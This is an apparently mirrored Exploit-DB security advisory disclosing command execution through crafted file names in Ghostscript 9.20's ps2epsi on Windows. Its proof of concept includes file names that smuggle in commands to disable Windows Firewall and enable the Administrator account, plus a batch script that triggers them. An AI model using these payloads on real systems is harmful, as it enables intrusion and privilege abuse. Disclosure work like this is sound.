Ghostscript 9.20 – ‘Filename’ Command Execution

• Exploit Database
• 17 阅读

• 作者： hyp3rlinx
  日期： 2017-02-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41221/

• [+]#################################################################################################
  [+] Credits: John Page AKA hyp3rlinx
  [+] Website: hyp3rlinx.altervista.org
  [+] Source: http://hyp3rlinx.altervista.org/advisories/GHOSTSCRIPT-FILENAME-COMMAND-EXECUTION.txt
  [+] ISR: ApparitionSec
  [+]################################################################################################
  
  
  
  Vendor:
  ===============
  ghostscript.com
  
  
  
  Product:
  ================
  Ghostscript 9.20
  gs920w32.exe
  Windows (32 bit)
  hash: fee2cc1b8b467888a4ed44dd9f4567ed
  
  
  Ghostscript is a suite of software based Postscript and PDF
  interpreter/renderers for file conversion.
  
  
  Vulnerability Type:
  ==========================
  Filename Command Execution
  
  
  
  CVE Reference:
  ==============
  N/A
  
  
  
  Security Issue:
  ================
  The ghostscript ps2epsi translator to processes ".ps" files executes
  arbitrary commands from specially crafted filenames that contain
  OS commands as part of the processed postscript files name. This feature
  seems to work only using the ps2epsi translator.
  Other tested GS translator calls like 'ps2pdf' fail.
  
  c:\>ps2epsi
  "Usage: ps2epsi <infile.ps> <outfile.epi>"
  
  Example, take a file "POC&<SYSTEM-COMMAND>;1.ps", it will run arbitrary
  Commands contained after the ampersand character "&".
  
  If a user runs some automated script to call the ps2epsi translator to
  process ".ps" files from a remote share or directory
  where actual filename is unknown, it can potentially allow attackers to
  execute arbitrary commands on victims machine.
  
  Characters like "/", ":" are restricted in filenames, but we can abuse
  Windows netsh and wmic to bypass some of these barriers.
  
  Quick Ghostscript CL test.
  Create file called Test&calc.exe;1.ps
  
  ps2epsi "Test&calc.exe;1.ps"outfile
  
  BOOM! calc.exe runs...
  
  
  Exploit/POC:
  =============
  Add Ghostscript lib 'c:\Program Files (x86)\gs\gs9.20\lib' to Windows
  environmental Path, so we can easily call 'ps2epsi' GS CMD.
  
  Create the following malicious ".ps" postscript files.
  
  1) Turn of Windows Firewall
  Test&netsh Advfirewall set allprofiles state off&;1.ps
  
  
  2) Enable Windows Administrator account (using WMIC).
  Test&wmic useraccount where name='administrator' set disabled='false'&;1.ps
  
  If user don't have wmic on path, fix it for POC by set environmental system
  variable.
  Add "C:\Windows\system32\wbem;" to 'Path' variable.
  
  Run below bat script to process bunch of *.ps" files.
  
  "POC.bat"
  
  @echo off
  rem ghostscript Filename Command Execution POC
  rem by hyp3rlinx
  
  for %%1 in ("*.ps") do; ps2epsi"%%1" "evil.ps"
  
  
  Severity:
  =========
  Medium
  
  
  
  Disclosure Timeline:
  ===============================
  Vendor Notification: No replies
  February 2, 2017 : Public Disclosure
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no
  warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory,
  provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in
  vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the
  information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author
  prohibits any malicious use of security related information
  or exploits by the author or elsewhere.